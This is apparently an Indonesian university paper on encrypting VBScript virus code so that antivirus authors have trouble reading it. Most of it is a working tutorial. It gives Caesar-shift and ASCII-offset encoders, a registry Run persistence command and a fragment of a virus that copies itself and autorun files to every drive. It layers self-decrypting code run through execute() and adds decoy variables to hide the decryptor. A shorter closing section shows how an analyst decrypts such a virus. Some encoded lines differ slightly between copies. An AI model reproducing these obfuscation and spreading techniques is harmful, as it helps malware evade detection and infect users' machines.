PENERAPAN KRIPTOGRAFI PADA PEMBUATAN VIRUS KOMPUTER

Kenny Enrich – NIM 13506111

Program Studi Teknik Informatika, Institut Teknologi Bandung
Jl. Ganesha 10, Bandung
E-mail : if16111@students.if.itb.ac.id

Abstrak

Makalah ini membahas tentang penerapan teknik kriptografi pada pembuatan virus komputer, terutama pada virus *visual basic script* atau yang biasa dikenal dengan virus VBS. Teknik kriptografi digunakan pada virus untuk mempersulit pembacaan source code virus dan untuk mempersulit pembuatan antivirus.

Dalam makalah ini akan diuraikan bagaimana langkah-langkah melakukan enkripsi sederhana pada virus VBS dan juga akan dijelaskan langkah-langkah mendekripsikan virus tersebut.

Kata kunci: Virus, VBS, kriptografi, enkripsi, dekripsi.

1. Pendahuluan

VBScript atau lengkapnya Visual Basic Scripting Edition merupakan suatu bahasa pemrograman yang dikembangkan oleh Microsoft pada tahun 1996. Bahasa ini menginterpretasikan skrip kodenya pada saat dieksekusi dan menggunakan model objek komponen untuk mengakses elemen-elemen di lingkungan tempatnya bekerja. VBScript merupakan sebuah bahasa skrip turunan dari bahasa pemrograman *Visual Basic for Applications* (VBA) yang digunakan di dalam Microsoft Office dan beberapa platform pengembangan buatan Microsoft lainnya. VBScript menghilangkan beberapa fungsi dari VBA, seperti halnya fungsi I/O berkas dan akses langsung terhadap sistem operasi untuk menyediakan sebuah platform yang aman untuk mengembangkan aplikasi berbasis web dengan menggunakan platform Active Server Pages (ASP). Internet Explorer merupakan penjelajah web pertama yang menyediakan dukungan terhadap kode skrip yang ditulis dalam bahasa VBScript. VBScript dapat dijalankan di atas Windows 9x/ME, Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008 serta beberapa platform UNIX.

VBScript tidak dapat digunakan untuk membuat program yang berdiri sendiri. Akan tetapi, VBScript harus dimasukkan ke dalam sebuah berkas HTML yang kemudian akan dieksekusi dengan kakas penjelajah web. Ketika Internet Explorer membuka dokumen berkas HTML tersebut, VBScript dapat melakukan fungsi yang sama seperti JavaScript--skrip tersebut akan dieksekusi. VBScript juga dapat digunakan untuk membuat sebuah aplikasi HTML (yang memiliki ekstensi .HTA) yang membutuhkan paling tidak Internet Explorer 5 atau yang lebih baru agar dapat berjalan. HTA tidak secara langsung menggunakan Internet Explorer, tetapi menggunakan sebuah program, yakni MSHTA.EXE, yang menginterpretasikan dan menjalankan kode. Selain dengan menggunakan penjelajah web, VBScript juga dapat dieksekusi oleh aplikasi Windows Scripting Host (WSH). Umumnya, berkas VBScript yang dijalankan oleh WSH ini adalah berkas teks biasa dengan ekstensi .vbs dan dapat dieksekusi dengan menggunakan *command-line* maupun dengan desktop Windows. Windows memiliki dua buah program yang dapat menginterpretasikan berkas vbs yakni, cscript.exe dan wscript.exe.

Seiring dengan berjalannya waktu dan juga berkembangnya kreatifitas manusia, penggunaan

VBScript ini pun juga mengalami perkembangan. VBScript yang semula hanya digunakan untuk membuat suatu aplikasi HTML atau untuk memudahkan kerja para pengguna komputer, sekarang juga digunakan untuk membuat suatu aplikasi yang merusak seperti worm atau virus. VBScript virus pertama kali ditemukan pada tahun 1997 dengan nama virus VBS Rabbit yang mengincar file-file VBS. Selanjutnya pada tahun 2000 terjadi bencana global pertama melalui web. Worm 'I Love You' menimbulkan kerugian sekitar 20 miliar dollar di seluruh dunia. VBScript sederhana ini adalah virus pertama yang menyebarkan diri secara otomatis melalui internet dan di mana-mana koneksi internet dan mail-server lumpuh. Tetapi salah satu kelemahan virus VBS yang paling fatal terletak pada source code virus itu sendiri. Kelemahan tersebut terletak pada source code yang dapat dengan mudah dibaca oleh siapapun walaupun hanya dengan menggunakan kakas pengolah kata sederhana seperti notepad. Hal inilah yang memacu perkembangan virus VBS sehingga bermunculan virus VBS dengan berbagai macam jenis penyerangan dan juga berbagai macam cara mempertahankan dirinya dari antivirus yang ada.

Salah satu cara mempertahankan diri virus adalah dengan memanfaatkan teknik kriptografi pada virus, yaitu dengan melakukan enkripsi source code virus tersebut. Dengan melakukan enkripsi, source code virus menjadi sulit untuk dibaca dan sulit untuk dipahami sehingga para pembuat anti virus kesulitan untuk dapat memahami rutin-rutin yang dijalankan oleh virus tersebut. Dengan begitu virus akan mempunyai waktu hidup yang lebih lama dan dapat menyebarkan dirinya dengan lebih banyak lagi.

2. Metode Enkripsi Virus VBS

Ejn!Tubsuvq;Tfu!Tubsuvq!>!DsfbufPckfdu)#XTdsjqu/Tifmm#;Tubsuvq/SfhXsjuf!#ILMN]Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]#-!#NzWjsvt/wct#*.

Jika dilihat secara sekilas, satu baris kalimat di atas hanyalah merupakan sekumpulan huruf dan simbol yang tidak mempunyai arti apa-apa. Namun sebenarnya baris tersebut merupakan hasil enkripsi dari suatu baris perintah VBScript. Hasil dekripsi dari baris tersebut akan menghasilkan perintah:

```
Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\", & "MyScript.vbs"
```

Perintah tersebut dilakukan untuk menjalankan file MyScript.vbs ketika Windows dimulai. Jika pembuat virus menulis baris perintah tersebut tanpa melakukan enkripsi, maka perintah yang dilakukan oleh virus tersebut akan sangat mudah untuk diartikan oleh para pambuat antivirus ataupun orang yang mengerti bahasa pemrograman VBScript. Lain halnya jika pembuat virus sudah melakukan enkripsi dan menghasilkan baris perintah yang hanya berisi huruf-huruf dan simbol-simbol tidak beraturan seperti pada baris awal sub bab ini.

Baris cipher code di atas dihasilkan dengan cara menerapkan metode enkripsi sederhana, yaitu caesar cipher. Caranya adalah dengan mengganti setiap karakter dengan karakter lain dalam susunan abjad. Dalam hal ini tiap huruf disubstitusi dengan satu huruf berikutnya dari susunan abjad, yang berarti kuncinya adalah jumlah pergeseran huruf, yaitu k = 1. Pergeseran digunakan dengan mengambil kode ASCII dari suatu karakter, menambahkan satu pada kode ASCII tersebut dan mengambalikan kode ASCII tersebut ke karakter biasa.

Tabel substitusi:

p_i : A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

c_i : B C D E F G H I J K L M N O P Q R S T U V W X Y Z A

Demikian halnya dengan huruf-huruf kecil dan simbol-simbl seperti garis miring atau kurung buka dan kurung tutup. Semua huruf dan simbol-simbol mempunyai kode ASCII yang berbeda satu dengan yang lainnya sehingga hasil enkripsi tidak akan ada yang sama.

Pada contoh di atas, kode yang digunakan untuk enkripsi adalah:

```
msgbox(encode("Dim Startup:Set Startup = CreateObject(""WScript.Shell""):Startup.RegWrite
""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"", ""MyVirus.vbs""""))
Function encode(s)
```

```
    For i = 1 To len(s)
       t = mid(s, i, 1)
       t = chr(asc(t) + 1)
       coded = coded + t
    Next
    encode = coded
End Function
```

Dalam kode di atas terdapat fungsi encode dengan parameter **s** yang akan membaca karakter pada s satu persatu dan mengganti setiap karakter dengan karakter setelahnya dalam bentuk kode ASCII. Jika file tersebut disimpan dengan ekstensi .vbs dan dijalankan maka akan menghasilkan suatu kotak pesan yang berisi baris perintah yang telah dienkripsi.

Untuk mendekripsi kode tersebut tidaklah sulit, hanya membalik algoritma yang dipakai dalam enkripsi. Jika algoritma yang dipakai dalam enkripsi adalah mengganti huruf dengan satu huruf setelahnya dalam urutan abjad, maka algoritma dekripsi yang dipakai adalah mengganti huruf dengan satu huruf sebelumnya dalam urutan abjad.

Tabel substitusi:

c_i : A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

p_i : Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

Pada contoh di atas, kode yang digunakan untuk melakukan dekripsi adalah:

```
msgbox(decode("Ejn!Tubsuvq;Tfu!Tubsuvq!>!DsfbufPckfdu)#XTdsjqu/Tifmm#*;Tubsuvq/SfhXsjuf!#ILMN]Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]#-!#NzWjsvt/wct#"))
Function decode(s)
    For i = 1 To Len(s)
       t = Mid(s, i, 1)
       t = Chr(Asc(t) - 1)
       coded = coded + t
    Next
    decode = coded
 End Function
```

Jika disimpan dengan ekstensi .vbs dan dijalankan, kode tersebut akan menghasilkan suatu kotak pesan yang berisi hasil baris perintah yang telah didekripsi dari baris Ejn!Tubsuvq;Tfu!Tubsuvq!>!DsfbufPckfdu)#XTdsjqu/Tifmm#*;Tubsuvq/SfhXsjuf!#ILMN]Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]Svo]#-!#NzWjsvt/wct#.

Untuk lebih mempersulit para pembuat antivirus, biasanya dilakukan lebih dari dua kali enkripsi pada kode virus. Enkripsi pertama digunakan untuk mengenkripsi kode virus, sedangkan enkripsi kedua digunakan untuk mengenkripsi kode pendekripsian virus. Sebagai contoh, terdapat file virus:

```
On error resume next
dim wshshell, fso, induk, vpath, target, lokasi, target2, file1, file2, file, a, text, vrs, f1, wnds, wnd32, start, dcm, dsk
set wshshell = createobject ("wscript.shell")
set fso = createobject ("scripting.filesystemobject")
set induk = fso.getfile (wscript.scriptfullname)
.
.
.
do
        wscript.Sleep 100
        For d=66 to 90
                copyvirusdrive d
                copyautorundrive d
        Next
Loop
```

Kode di atas merupakan potongan kode dari suatu virus, kita sebut saja virus x.vbs.

Untuk enkripsi tahap pertama, pertama-tama kita buat suatu file lain yang berisi kode untuk enkripsi virus. Contoh kodenya sebagai berikut:

```
Set fso = CreateObject("Scripting.FileSystemObject")
Set open=fso.OpenTextFile("x.vbs")
virus=open.ReadAll
On Error Resume Next
VA3 = ""
For I = 1 To Len(virus)
        baca = Asc(Mid(virus, I, 1))
        If baca = 34 Then
                tukar = Chr(48)
        ElseIf baca = 10 Then
                tukar = Chr(49)
        ElseIf baca = 13 Then
                tukar = Chr(50)
        ElseIf baca = 40 Then
                tukar = Chr(51)
        ElseIf baca = 41 Then
```

```
                tukar = Chr(52)
        Else
                tukar = Chr(baca + 123)
        End If
        hasil=hasil & tukar
Next
```

Kode di atas akan membuka suatu file virus dengan nama x.vbs dan akan membaca karakter dari file itu satu persatu. Kemudian jika ditemukan karakter dengan kode ASCII 34, 10, 13, 40, 41, karakter tersebut akan diganti dengan karakter dengan kode ASCII 48, 49, 50, 51, dan 52. Sebagai tambahan pengetahuan, karakter dengan kode ASCII 34 merupakan karakter tanda petik (“), 10 merupakan karakter “Line Feed”, 13 merupakan “carriage return” atau tanda pindah baris (enter), 40 merupakan karakter kurung buka ‘(‘, dan 41 merupakan karakter kurung tutup ‘)’. Untuk lebih lengkapnya mengenai kode ASCII tiap karakter dapat dilihat pada tabel ASCII yang ada.

Jika karakter yang ditemukan bukanlah karakter dengan kode ASCII seperti yang telah disebutkan, maka kode ASCII yang didapat akan ditambah dengan 123 dan kemudian diubah lagi ke karakter biasa dan hasilnya akan disimpan pada variabel ‘hasil’.

Hasil dari enkripsi pertama: (tidak semua isi file diperlihatkan)

```
Êé›àííêí›íàîðèà›éàóï21ßäè›òîãîãàçç§›áîê§›äéßðæ§›
ñëÜïã§›ïÜíâàï§›çêæÜîä§›ïÜíâàï-§›áäçà¬§›áäçà-§›
áäçà§›Ü§›ïàóï§›ñíî§›á¬§›òéßî§›òéß®-§›îïÜíï§›ßÞ
è§›ßîæ21îàï›òîãîãàçç›¸›ÞíàÜïàêÝåàÞï›30òîÞíäëï©î
ãàçç0421îàï›áîê›¸›ÞíàÜïàêÝåàÞï›30îÞíäëïäéâ©áäç
àîôîïàèêÝåàÞï0421îàï›äéßðæ›¸›áîê©âàïáäçà›3òîÞíä
ëï©îÞíäëïáðççéÜèà421Üïí›¸›0ÖÜðïëíðéØ0¡ñÝÞíç
áρäÞêé¸Îôîïàèíêêï×îôîïàè®-×ÎÃÀÇÇ®-©ßçç§¯²
0¡ñÝÞíçá¡0êëàé¸òîÞíäëï©àóà›©×ÜëÜÜéîäã©ñÝî0
¡ñÝÞíçá¡0îãàçç×êëàé×ÞêèèÜéß¸òîÞíäëï©àóà›©×Ü
ëÜÜéîäã©ñÝî0¡ñÝÞíçáρîãàçç×Àóëçêîâ×ÞêèèÜé
ß¸…………………………›¬««21„äéßðæ©Þêëô›
3òîãîãàçç©îëàÞäÜçáêçßàíî30ÎïÜíïðë04›¡›0×ÜëÜÜ
é›îäã©ñÝî0421„äéßðæ©Þêëô›3áîê©âàïîëàÞäÜçáê
çßàí3«4›¡›0×âÜ›Üéàã©ñÝî0421„äéßðæ©Þêëô›3á
îê©âàïîëàÞäÜçáêçßàí3¬4›¡›0×Üéàã›îäã©ñÝî0421
„äéßðæ©Þêëô›3òîãîãàçç©îëàÞäÜçáêçßàíî30Èô¿êÞ
ðèàéïî04›¡›0×Üéàã›åðâÜ©ñÝî0421„äéßðæ©Þêëô›
3òîãîãàçç©îëàÞäÜçáêçßàíî30¿àîæïêë04›¡›0×©ñÝî
0421„Áêí›ß¸±±›ïê›´«21„„Þêëôñäíðîßíäñà›ß21„„Þê
ëôÜðïêíðéßíäñà›ß21„Éàóï21çêêë21
```

Enkripsi kedua dilakukan untuk mengenkripsi kode dekripsi. Algoritma untuk mendekripsi adalah kebalikan dari algoritma enkripsi. Jika dalam enkripsi kode ASCII 34 diganti dengan 48, 10 diganti dengan 49, dan seterusnya, maka enkripsi dilakukan dengan mengganti kode 48 dengan 34, 49 dengan 10, dan seterusnya. Demikian juga jika algoritma enkripsi adalah menambahkan kode ASCII dengan 123, maka algoritma dekripsi adalah mengurangi kode ASCII dengan 123. File enkripsi ini disimpan dengan nama rutindekripsi.txt.

```
Dim teks
For I = 1 To Len(cipher)
        baca = Asc(Mid(cipher, I, 1))
        If baca = 48 Then
                tukar = Chr(34)
        ElseIf baca = 49 Then
                tukar = Chr(10)
        ElseIf baca = 50 Then
                tukar = Chr(13)
        ElseIf baca = 51 Then
                tukar = Chr(40)
        ElseIf baca = 52 Then
                tukar = Chr(41)
        Else
                tukar = Chr(baca - 123)
        End If
teks = teks & tukar
Next
execute(teks)
```

Baris terakhir tertulis ‘execute(teks)’. Fungsi execute digunakan untuk menjalankan parameter yang ada di dalamnya, dalam hal ini ‘teks’. Variabel ‘teks’ akan berisi kode virus yang telah dienkripsi oleh kode enkripsi yang pertama.

Enkripsi kedua dilakukan pada kode di atas dengan kode:

```
Set fso = CreateObject("Scripting.FileSystemObject")
Set open=fso.OpenTextFile("rutindekripsi.txt")
virus=open.ReadAll
On Error Resume Next
VA3 = ""
For I = 1 To Len(virus)
        baca = Asc(Mid(virus, I, 1))
        tukar = Chr(baca + 123)
        hasil=hasil & tukar
Next
```

Enkripsi ini akan menambahkan kode ASCII pada rutindekripsi.txt dengan angka 123.

Hasil enkripsi kedua:

```
¿äè›ïàæî˜…Áêí›Ä›¸›¬›Ïê›Çàé£Þäëãàí¤ˆ…„ÝÜÞÜ›
¸›¼îÞ£Èäß£Þäëãàí§›Ä§›¬¤¤ˆ…„Äá›ÝÜÞÜ›¸›¯³›Ïã
àéˆ…„„ïðæÜí›¸›¾ãí£®¯¤ˆ…„ÀçîàÄá›ÝÜÞÜ›¸›¯´
›Ïãàéˆ…„„ïðæÜí›¸›¾ãí£¬«¤ˆ…„ÀçîàÄá›ÝÜÞÜ›¸›
°«›Ïãàéˆ…„„ïðæÜí›¸›¾ãí£¬®¤ˆ…„ÀçîàÄá›ÝÜÞÜ
›¸›°¬›Ïãàéˆ…„„ïðæÜí›¸›¾ãí£¯«¤ˆ…„ÀçîàÄá›ÝÜÞ
Ü›¸›°-›Ïãàéˆ…„„ïðæÜí›¸›¾ãí£¯¬¤ˆ…„Àçîàˆ…„„ï
ðæÜí›¸›¾ãí£ÝÜÞÜ›¨›¬-®¤ˆ…„Àéß›Äáˆ…ïàæî›¸›ï
àæî›¡›ïðæÜíˆ…Éàóïˆ…ˆ…Îàï›áîê›¸›¾íàÜïàÊÝåàÞï
£□ ÎÞíäëïäéâ©ÁäçàÎôîïàèÊÝåàÞï□ ¤ˆ…Îàï›ãÜîäç¸á
îê©Þ íàÜ ïà ïàó ïáäçà£□ ñäíðî©ïóï□ ¤ˆ…ãÜîäç©òíäïà
›ïàæî˜…ãÜîäç©Þçêîà
```

Langkah selanjutnya adalah dengan menggabungkan potongan-potongan kode di atas dengan kode untuk mendekripsi kode enkripsi kedua. Pada rutindekripsi.txt, variabel parameter yang digunakan adalah ‘cipher’

```
For I = 1 To Len(cipher)
```

maka kode hasil enkripsi file virus x.vbs akan kita simpan di variabel ‘cipher’. Kemudian untuk menyimpan kode hasil enkripsi kedua (yang berisi kode untuk mendekripsi hasil enkripsi virus x.vbs), kita bisa menggunakan variabel apapun, dalam hal ini kita pakai variabel ‘x’. Selanjutnya kita tuliskan kode untuk mendekripsikan kode hasil enkripsi kedua. Algoritma yang digunakan dalam enkripsi kedua adalah menambahkan kode ASCII dengan angka 123, maka algoritma untuk mendekripsikannya adalah mengurangi kode ASCII dengan angka 123. Kodenya dekripsinya adalah sebagai berikut:

```
for i=1 to len(x)
teks1=teks1 & Chr(Asc(mid(x,i,1))-123)
next
execute(teks1)
```

Karena variabel yang dipakai untuk menyimpan kode hasil enkripsi kedua adalah ‘x’, maka parameter variabel yang kita gunakan sekarang adalah ‘x’. Hasil penggabungan adalah sebagai berikut:

```
cipher="Êé›àííêí›íàîðèà›éàóï21ßäè›òîãîãàçç§›áîê§›
äéßðæ§›ñëÜïã§›ïÜíâàï§›çêæÜîä§›ïÜíâàï-§›áäçà¬§
›áäçà-§›áäçà§›Ü§›ïàóï§›ñíî§›á¬§›òéßî§›òéß®-§›îï
Ü ï§›ßÞè§›ßîæ21îàï›òîãîãàçç›¸›ÞíàÜïàêÝåàÞï›30òî
Þíäëï©îãàçç0421îàï›áîê›¸›ÞíàÜïàêÝåàÞï›30îÞíäëïä
éâ©áäçàîôîïàèê………çààë›¬««21„äéßðæ©Þêëô›
3òîãîãàçç©îëàÞäÜçáêçßàíî30ÎïÜíïðë04›¡›0×ÜëÜÜ
é›îäã©ñÝî0421„äéßðæ©Þêëô›3áîê©âàïîëàÞäÜçáê
çßàí3«4›¡›0×âÜ›Üéàã©ñÝî0421„äéßðæ©Þêëô›3á
îê©âàïîëàÞäÜçáêçßàí3¬4›¡›0×Üéàã›îäã©ñÝî0421
„äéßðæ©Þêëô›3òîãîãàçç©îëàÞäÜçáêçßàíî30Èô¿êÞ
ðèàéïî04›¡›0×Üéàã›åðâÜ©ñÝî0421„äéßðæ©Þêëô›
3òîãîãàçç©îëàÞäÜçáêçßàíî30¿àîæïêë04›¡›0×©ñÝî
0421„Áêí›ß¸±±›ïê›´«21„„Þêëôñäíðîßíäñà›ß21„„Þê
ëôÜðïêíðéßíäñà›ß21„Éàóï21çêêë21":x="¿äè›ïàæî˜
…Áêí›Ä›¸›¬›Ïê›Çàé£Þäëãàí¤ˆ…„ÝÜÞÜ›¸›¼îÞ£È
äß£Þäëãàí§›Ä§›¬¤¤ˆ…„Äá›ÝÜÞÜ›¸›¯³›Ïãàéˆ…„„
ïðæÜí›¸›¾ãí£®¯¤ˆ…„ÀçîàÄá›ÝÜÞÜ›¸›¯´›Ïãàéˆ…
„„ïðæÜí›¸›¾ãí£¬«¤ˆ…„ÀçîàÄá›ÝÜÞÜ›¸›°«›Ïãàéˆ
…„„ïðæÜí›¸›¾ãí£¬®¤ˆ…„ÀçîàÄá›ÝÜÞÜ›¸›°¬›Ïã
àéˆ…„„ïðæÜí›¸›¾ãí£¯«¤ˆ…„ÀçîàÄá›ÝÜÞÜ›¸›°-›
Ïãàéˆ…„„ïðæÜí›¸›¾ãí£¯¬¤ˆ…„Àçîàˆ…„„ïðæÜí›¸›
¾ãí£ÝÜÞÜ›¨›¬-®¤ˆ…„Àéß›Äáˆ…ïàæî›¸›ïàæî›¡›ïð
æÜíˆ…Éàóïˆ…ˆ…àóàÞðïà£ïàæî¤ˆ…ˆ…Îàï›áîê›¸›
¾ íàÜ ïàÊÝ åàÞ ï£• ÎÞ íäë ïäéâ©Á äçàÎô îïàèÊÝ åàÞ ï•
¤ˆ…Îàï›ãÜîäç¸áîê©ÞíàÜïàïàóïáäçà£ • ñä íð î© ïó ï• ¤
ˆ…ãÜîäç©òíäïà›ïàæî˜…ãÜîäç©Þçêîà": for i=1 to
len(x):teks1=teks1 & Chr(Asc(mid(x,i,1))-
123):next:execute(teks1):
```

Pada contoh di atas kode untuk mendekripsi terlihat jelas di akhir file, untuk menyembunyikannya bisa dilakukan dengan menambahkan variabel-variabel yang tidak terpakai, sehingga hasil akhirnya adalah sebagai berikut:

```
cipher="Êé›àííêí›íàîðèà›éàóï21ßäè›òîãîãàçç§›áîê§›
äéßðæ§›ñëÜïã§›ïÜíâàï§›çêæÜîä§›ïÜíâàï-§›áäçà¬§
›áäçà-§›áäçà§›Ü§›ïàóï§›ñíî§›á¬§›òéßî§›òéß®-§›îï
Üíï§›ßÞè§›ßîæ21îàï›òîãîãàçç›¸›ÞíàÜïàêÝåàÞï›30òî
Þíäëï©îãàçç0421îàï›áîê›¸›ÞíàÜïàêÝåàÞï›30 îÞ íäë ïä
éâ©áäçàîôîïàèê………çààë›¬««21„äéßðæ©Þêëô›
3òîãîãàçç©îëàÞäÜçáêçßàíî30ÎïÜíïðë04›¡›0×ÜëÜÜ
é›îäã©ñÝî0421„äéßðæ©Þêëô›3áîê©âàïîëàÞäÜçáê
çßàí3«4›¡›0×âÜ›Üéàã©ñÝî0421„äéßðæ©Þêëô›3á
îê©âàïîëàÞäÜçáêçßàí3¬4›¡›0×Üéàã›îäã©ñÝî0421
„äéßðæ©Þêëô›3òîãîãàçç©îëàÞäÜçáêçßàíî30È ô¿êÞ
ðèàéïî04›¡›0×Üéàã›åðâÜ©ñÝî0421„äéßðæ©Þêëô›
3òîãîãàçç©îëàÞäÜçáêçßàíî30¿àîæïêë04›¡›0×©ñÝî
0421„Áêí›ß¸±±›ïê›´«21„„Þêëôñäíðîßíäñà›ß21„„Þê
ëôÜðïêíðéßíäñà›ß21„Éàóï21çêêë21":x="¿äè›ïàæî˜
```

```
…Áêí›Ä›‚›¬›Ïê›Çàé£Þäëãàíˆ…„ÝÜÞÜ›‚›¼íÞ£È
äß£Þäëãàí§›Ä§›¬¤¤ˆ…„Äá›ÝÜÞÜ›‚›¯³›Ïãàéˆ…„„
ïðæÜí›‚›¾ãí£®¯¤ˆ…„Àçîà Äá›ÝÜÞÜ›‚›¯´›Ïãàéˆ…
„„ïðæÜí›‚›¾ãí£¬«¤ˆ…„Àçîà Äá›ÝÜÞÜ›‚›°«›Ïãàéˆ
…„„ïðæÜí›‚›³¼ãí£¬®¤ˆ…„Àçîà Äá›ÝÜÞÜ›‚›°¬›Ïã
àéˆ…„„ïðæÜí›‚›¾ãí£¯«¤ˆ…„Àçîà Äá›ÝÜÞÜ›‚›°-›
Ïãàéˆ…„„ïðæÜí›‚›¾ãí£¯¬¤ˆ…„Àçîàˆ…„„ïðæÜí›‚›
¾ãí£ÝÜÞÜ›¨›¬-®¤ˆ…„Àéß›Äáˆ…ïàæî›‚›ïàæî›¡›ïð
æÜ î…Éàóïˆ…ˆ…àóàÞðïà£ïàæî¤ˆ…ˆ…Îàï›áîê›‚›
¾ íãÜ ïàÊÝ åàÞ ï£• ÎÞ íäëïäéâ©Á äçàÎô îïàèÊÝ åàÞ ï•
¤ˆ…Îàï›ãÜîãç‚áîê©ÞíàÜïàïàóïääçà£ • ñäíðî© ïó ï• ¤
ˆ…ãÜîãç©òíäïà›ïàæîˆ…ãÜîãç©Þçêîà":for i=1 to
len(x):teks1=teks1 & Chr(Asc(mid(x,i,1))-
123):next:execute(teks1):

y="Þ0›êí›íäâã3áäçà§®4‚0óçî0›êí›íäâã3áäçà§®4‚0
ëßá0›ïãàé›äéßðæ©Þêêô3áäçà›¡›0©ñÝî0421„îàï›Üï
ï‚áîê©ÂàïÁäçà3áäçà›¡›0©›àÜÞã›ïÜíâàï›äé›áîê©®
4‚0åëâ0›êí›íäâã3áäçà¬§®4‚0ñÝî0›êí›íäâã3áäçà§®
4‚0ëßá0›êí›íäâã3áäçà¬§®4‚0ßêÞ0›êí›íäâã3áäçà¬§
®4‚0óçî0›ïãàé›äéßðæ©Þêêô3áäçà¬›¡›0©ñÝî0421
„îàï›Üïï‚áîê©ÂàïÁäçà3áäçà¬›¡›0©ñÝî0421„Üïï©
Üïïíäÿðïàî‚²21„Þêêô21„éàóï2121áêí›àÜÞã›ïÜíâàï-
›äé›áîê©âàïáêç":

z="é›‚›áîê©âàïáäçà›3ßíäñà›¡›0µ×Üðïêíðé©äéá04
21„„Üðíðé©ÜïïíäÝðïàî›‚›²21„àéß›äá21àéß›îðÝ21
21îðÝ›
›äé›áîê©âàïáêçßàí3ÜçÜèÜï4©áäçàî21„äá›íäâãï3áä
çà§®4‚0ïóï0›êí›íäâã3áäçà§®4‚0åëâ0›êí›íäâã3áäçà
§®4‚0ñÝî0›êí›íäâã3áäçà§®4‚0ßêÞ0›êí›íäâã3áäçà§
®4‚0óç"
```

Kalau diperhatikan dengan seksama, saya telah menambahkan variabel y dan z yang berisi potongan-potongan kode hasil dekripsi. Hal ini dilakukan untuk menyamarkan kode dekripsi yang sebelumnya terlihat dengan jelas.

3. Metode Dekripsi Virus VBS

Dalam enkripsi virus VBS, yang terpenting bukanlah kerumitan algoritma yang digunakan. Serumit apapun algoritma enkripsi yang digunakan, hal tersebut akan sia-sia jika fungsi untuk mendekripsinya dapat dibaca dengan mudah. Dalam virus VBS yang telah memakai teknik kriptografi untuk mengenkripsi kode virusnya, akan terdapat juga fungsi untuk mendekripsikan kode tersebut. Kode inilah yang biasa dicari oleh para pembuat antivirus sebagai acuan untuk mendekripsikan virus tersebut dan membuat antivirusnya. Dalam contoh virus yang telah dibuat tadi, kunci untuk mendekripsi kode tersebut adalah baris yang dapat dengan mudah dibaca, yaitu

```
for i=1 to len(x):teks1=teks1 & Chr(Asc(mid(x,i,1))-123):next:execute(teks1):
```

Kode ini akan mendekripsikan kode lainnya yang memakai variabel ‘x’. Maka langkah pertama yang dilakukan adalah melakukan dekripsi kode pada variabel ‘x’.

```
x="¿äè›ïàæî…Áêí›Ä›‚›¬›Ïê›Çàé£Þäëãàíˆ…„ÝÜ
ÞÜ›‚›¼íÞ£Èäß£Þäëãàí§›Ä§›¬¤¤ˆ…„Äá›ÝÜÞÜ›‚›
¯³›Ïãàéˆ…„„ïðæÜí›‚›¾ãí£®¯¤ˆ…„Àçîà Äá›ÝÜÞÜ
›‚›¯´›Ïãàéˆ…„„ïðæÜí›‚›¾ãí£¬«¤ˆ…„Àçîà Äá›ÝÜÞ
Ü›‚›°«›Ïãàéˆ…„„ïðæÜí›‚›¾ãí£¬®¤ˆ…„Àçîà Äá›Ý
ÜÞÜ›‚›°¬›Ïãàéˆ…„„ïðæÜí›‚›¾ãí£¯«¤ˆ…„Àçîà Äá›
ÝÜÞÜ›‚›°-›Ïãàéˆ…„„ïðæÜí›‚›¾ãí£¯¬¤ˆ…„Àçîàˆ
…„„ïðæÜí›‚›¾ãí£ÝÜÞÜ›¨›¬-®¤ˆ…„Àéß›Äáˆ…ïà
æî›‚›ïàæî›¡›ïðæÜíˆ…Éàóïˆ…ˆ…Îàï›áîê›‚›¾íàÜïàÊ
Ý åàÞ ï£ ÎÞíäëïäéâ©ÁäçàÎôîïàèÊÝåàÞï ¤ˆ…Îàï›ã
Ü ïãç‚áîê© Þ íàÜ ïà ïàóïáäçà£ ñäíðî©ïóï ¤ˆ…ãÜîãç
©òíäïà›ïàæîˆ…ãÜîãç©Þçêîà"
Dim teks
For I = 1 To Len(x)
        baca = Asc(Mid(x, I, 1))
        tukar = Chr(baca - 123)
        teks = teks & tukar
Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set hasil=fso.createtextfile("hasildekripsi1.txt")
hasil.write teks
hasil.close
```

Kode tersebut akan mendekripsikan kode yang ada pada variabel x dengan algoritma yang kita dapatkan dari file virus itu sendiri dan akan menyimpan file hasil dekripsi pada file ‘hasildekripsi.txt’. Isi dari file hasildekripsi.txt yang telah dibuat adalah:

```
For I = 1 To Len(cipher)
        baca = Asc(Mid(cipher, I, 1))
        If baca = 48 Then
                tukar = Chr(34)
        ElseIf baca = 49 Then
                tukar = Chr(10)
        ElseIf baca = 50 Then
                tukar = Chr(13)
        ElseIf baca = 51 Then
                tukar = Chr(40)
        ElseIf baca = 52 Then
                tukar = Chr(41)
```

```
        Else
                tukar = Chr(baca - 123)
        End If
teks = teks & tukar
Next
execute(teks)
```

Selanjutnya jikadiperhatikan, kode ini akan menggunakan variabel ‘cipher’. Maka langkah selanjutnya adalah melakukan dekripsi kode pada variabel ‘cipher’ dengan kode yang telah kita dapatkan.

```
cipher="Êé›àíîêí›íàîðèà›éàóï21ßäè›òîãîãàçç§›áîê§›
äéßðæ§›ñëÜïã§›ïÜíâàï§›çêæÜîä§›ïÜíâàï-§›áäçà¬§
›ááçà-§›ááçà§›Ü§›ïàóï§›ñíî§›á¬§›òéßî§›òéß®-§›îï
Üíï§›ßÞè§›ßîæ21îàï›òîãîãàçç›¸›ÞíàÜïàêÝåàÞï›30òî
Þíäëï©îãàçç0421îàï›áîê›¸›ÞíàÜïàêÝåàÞï›30îÞíäëïä
éâ©áäçàîôîïàèêÝåàÞï0421îàï›äéßðæ›¸›áîê©âàïáä
…….ñÝî0421„äéßðæ©Þêëô›3áîê©âàïîëàÞ
äÜçáêçßàí3¬4›¡›0×Üéàã›îãã©ñÝî0421„äéßðæ©Þ
êëô›3òîãîãàçç©îëàÞäÜçáêçßàíî30È¿êÞðèàéïî04›¡
›0×Üéàã›åðâÜ©ñÝî0421„äéßðæ©Þêëô›3òîãîãàçç
©îëàÞäÜçáêçßàíî30¿àîæïêë04›¡›0×©ñÝî0421„Áêí
